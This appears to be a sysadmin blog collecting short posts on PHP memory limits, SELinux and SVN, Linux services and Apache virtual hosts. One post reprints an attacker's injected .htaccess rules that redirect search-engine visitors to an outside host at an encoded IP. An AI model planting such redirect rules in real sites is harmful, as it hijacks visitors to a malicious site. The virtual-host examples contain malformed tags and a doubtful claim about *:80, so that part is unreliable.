Allowed memory size of … bytes exhausted

Often we may need some special setup for a special case/cause.

Recently, I had to do a t3d export/import, where the data size was nearly 2GB, and no matter what memory_limit we tried, it always failed.

Finally we tried memory_limit = -1, which basically removes the memory limit, and lets us use the max available memory of the Operating System.

This solution did helped us, and we were able to do the export smoothly.

CAUTION: On a production server try not to do this, if we forget to revert this change, things can get worse!
Instead make a local copy, and then we have a total freedom.

SVN Errorcode 13 due to SeLinux, Could not open the requested SVN filesystem

When we recently installed SVN on CentOS, we came across the following error message:

<m:human-readable errcode=”13″>Could not open the requested SVN filesystem</m:human-readable>

This seems to be due to incorrect setting of the SeLinux content. This can be changed by the following command:

chcon -R -h -t httpd_sys_content_t /PATH_TO_REPOSITORY/

ex:

chcon -R -h -t httpd_sys_content_t /home/svnRepo

Technorati : , ,
Del.icio.us : , ,

Exploit Search Engine Attack – bitrid

Recently one of my friend had his server attacked by a hacker, and they were able to modify the .htaccess file.
They had added several redirect conditions and ErrorDocument conditions.

He was really worried that AVG Antivirus was reporting the virus “Exploit Search Engine Attack – ~bitrid/” and was blocking access.
I really loved AVG Antivirus, and credit goes to their forum with a hint on some kind of redirect script.

The .htaccess had the following code which was causing this issue.
Probably if you come across any such issue it is better to look into the .htaccess files.
You might also check with the hosting company probably they may review the system security.

RewriteEngine On

RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*
RewriteRule ^(.*)$ http: // 1502998896/~bitrid/ [R=301,L]

ErrorDocument 401 http: //1502998896/~bitrid/
ErrorDocument 403 http: //1502998896/~bitrid/
ErrorDocument 404 http: //1502998896/~bitrid/
ErrorDocument 500 http: //1502998896/~bitrid/

I still wonder how the hacker could modify the .htaccess, and they never touched any othe files!!!
I just Hope no one else gets affected this way 😉

Some of the most important things to know about Linux

 

These settings are applicable to Redhat/ Fedora / CentOS and I am not aware if this holds good even on other Distros.

Important File / Folder Locations

  • Location of HTTPD (Apache) Configuration File:
    /etc/httpd/conf/httpd.conf
  • Location of PHP Configuration File (php.ini):
    /etc/php.ini

Service Related Information

Enabling / Disabling Services
The chkconfig command can be used for enabling / disabling services on Redhat based linux distributions.

EX: # chkconfig httpd –add
EX: # chkconfig httpd on
EX: # chkconfig –list httpd
EX: # chkconfig httpd of
EX: # chkconfig httpd –del

Starting / stopping / a service

service <service name> start/stop
EX: # service httpd stop
EX: # service httpd start

Running several name-based web sites on single IP address on Fedora 8

I have given below a few main points which may be useful in setting up a virtual host on Fedora 8.

I would give these examples considering you wish to have

www.url-1.com and www.url-2.com.

Step 1: Add your new domain to hosts file.

This is very essential else you will get address not found error!

Host file is usually located in /etc/hosts

Double click on the "hosts" file, and it should open in "gedit".
The configuration should resemble something like this:

#if you would like to setup only for local system

127.0.0.1 url1.com www.url1.com url2.com www.url2.com

#setting up for a IP which can be accessessible outside

192.168.1.1 url1.com www.url1.com url2.com www.url2.com

 

Step 2: Load VHOST Module in Apache

Now open the Apache configuration file "httpd.conf" and make sure that vhost alias module is loaded as shown.

Usual FILE LOCATION: etc/httpd/conf/httpd.conf

LoadModule vhost_alias_module modules/mod_vhost_alias.so

Step 3: Add Virtual Host Entries
Now it is time to make proceed and configure Apache Server (the httpd service) to serve files for the different websites.

NameVirtualHost 127.0.0.1:80

</VirtualHost 127.0.0.1:80>
      ServerName www.url-1.com
      DocumentRoot /var/www/url1-folder
</virtualhost>
</VirtualHost 127.0.0.1:80>
      ServerName www.url-2.com
      DocumentRoot /var/www/url2-folder
</VirtualHost>

OR

NameVirtualHost 192.168.1.7:80

</VirtualHost 192.168.1.7:80>
      ServerName www.url-1.com
      DocumentRoot /var/www/url1-folder
</VirtualHost>

<VirtualHost 192.168.1.7:80>
      ServerName www.url-2.com
      DocumentRoot /var/www/url2-folder
</VirtualHost>

NOTE: The following settings usually do not work on Linux platform:

<VirtualHost *:80> or NameVirtualHost *.80

Instead you need to use the actual IP address such as:

<VirtualHost 192.168.1.7:80> or NameVirtualHost 192.168.1.7.80

If you use *.80, you may always see the default website for both url-1.com and url-2.com.

You may find more virtualhost examples at the following URL: http://httpd.apache.org/docs/2.2/vhosts/examples.html

For CentOS There are a few strict rules to follow as given in:
http://www.centos.org/docs/5/html/Deployment_Guide-en-US/s1-apache-virtualhosts.html

 

Setup 4: The final Step – Restart Apache
      The final step is to re-start httpd service using the following command.

service httpd restart

 

Now you should be able to browse www.url-1.com and www.url-2.com using any web-browser such as Mozilla firefox.